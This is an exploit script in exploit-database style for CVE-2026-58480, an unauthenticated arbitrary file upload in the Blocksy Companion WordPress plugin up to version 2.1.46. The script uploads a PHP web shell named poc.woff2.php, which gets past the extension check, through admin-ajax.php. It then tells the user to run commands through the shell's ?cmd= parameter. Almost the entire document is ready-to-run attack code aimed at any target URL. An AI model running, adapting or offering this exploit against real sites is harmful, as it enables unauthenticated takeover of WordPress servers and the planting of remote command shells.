Blocksy Companion 2.1.46 – RCE

#!/usr/bin/env python3
# Exploit Title:        Blocksy Companion 2.1.46 - RCE
# CVE:                  CVE-2026-58480
# Date:                 2026-07-13
# Exploit Author:       Mohammed Idrees Banyamer
# Author Country:       Jordan
# Instagram:            @banyamer_security
# Author GitHub:        https://github.com/mbanyamer
# Author Blog  :        https://banyamersecurity.com/blog/
# Vendor Homepage:      https://creativethemes.com
# Software Link:        https://wordpress.org/plugins/blocksy-companion/
# Affected:             Blocksy Companion <= 2.1.46 (Pro with Advanced Reviews + Custom Fonts)
# Tested on:            WordPress + Blocksy Companion 2.1.46
# Category:             WebApps
# Platform:             PHP
# Exploit Type:         Remote Code Execution (Unauthenticated)
# CVSS:                 9.8 (Critical)
# Description:          Unauthenticated arbitrary file upload via blc-review-images[] parameter in save_attachments.
#                       Double-extension bypass (.woff2.php) due to strpos() check in Custom Fonts extension.
# Fixed in:             2.1.47
# Usage:
#   python3 exploit.py <target_url>
#
# Examples:
#   python3 exploit.py http://target.com
#
# Notes:
#   • Requires Advanced Reviews and Custom Fonts extensions enabled.
#   • Uploaded shell lands in wp-content/uploads/ (check response for exact path).
#
# How to Use
#
# Step 1:
#   Run the script with target URL.
#
# Step 2:
#   Use the generated shell URL with ?cmd=command (e.g. ?cmd=id)

import requests
import sys

def banner():
    print(r"""
╔██████╗  █████╗ ███╗   ██╗██╗   ██╗ █████╗ ███╗   ███╗███████╗██████╗╗
║██╔══██╗██╔══██╗████╗  ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║
║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗  ██████╔╝
║██╔══██╗██╔══██║██║╚██╗██║  ╚██╔╝  ██╔══██║██║╚██╔╝██║██╔══╝  ██╔══██╗
║██████╔╝██║  ██║██║ ╚████║   ██║   ██║  ██║██║ ╚═╝ ██║███████╗██║  ██║
╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═══╝   ╚═╝   ╚═╝  ╚═╝╚═╝     ╚═╝╚══════╝╚═╝  ╚═╝
        ╔═╗ Banyamer Security ╔═╗
""")

if len(sys.argv) < 2:
    banner()
    print("Usage: python3 exploit.py <http://target.com>")
    sys.exit(1)

banner()

target = sys.argv[1].rstrip('/')
shell_name = "poc.woff2.php"
payload = """<?php
if(isset($_GET['cmd'])) {
    system($_GET['cmd']);
    exit;
}
echo 'Blocksy RCE PoC - CVE-2026-58480 | @banyamer_security';
?>
"""

files = {
    'blc-review-images[]': (shell_name, payload, 'application/octet-stream')
}

data = {
    'action': 'blc_save_review_attachments'
}

print("[+] Sending unauthenticated file upload...")
try:
    r = requests.post(f"{target}/wp-admin/admin-ajax.php", files=files, data=data, timeout=15)
    print(f"Status: {r.status_code}")
    print(r.text[:600])
    print("n[+] If successful, check wp-content/uploads/ for the shell.")
    print(f"[+] Example: {target}/wp-content/uploads/YEAR/MONTH/{shell_name}?cmd=id")
except Exception as e:
    print(f"[-] Error: {e}")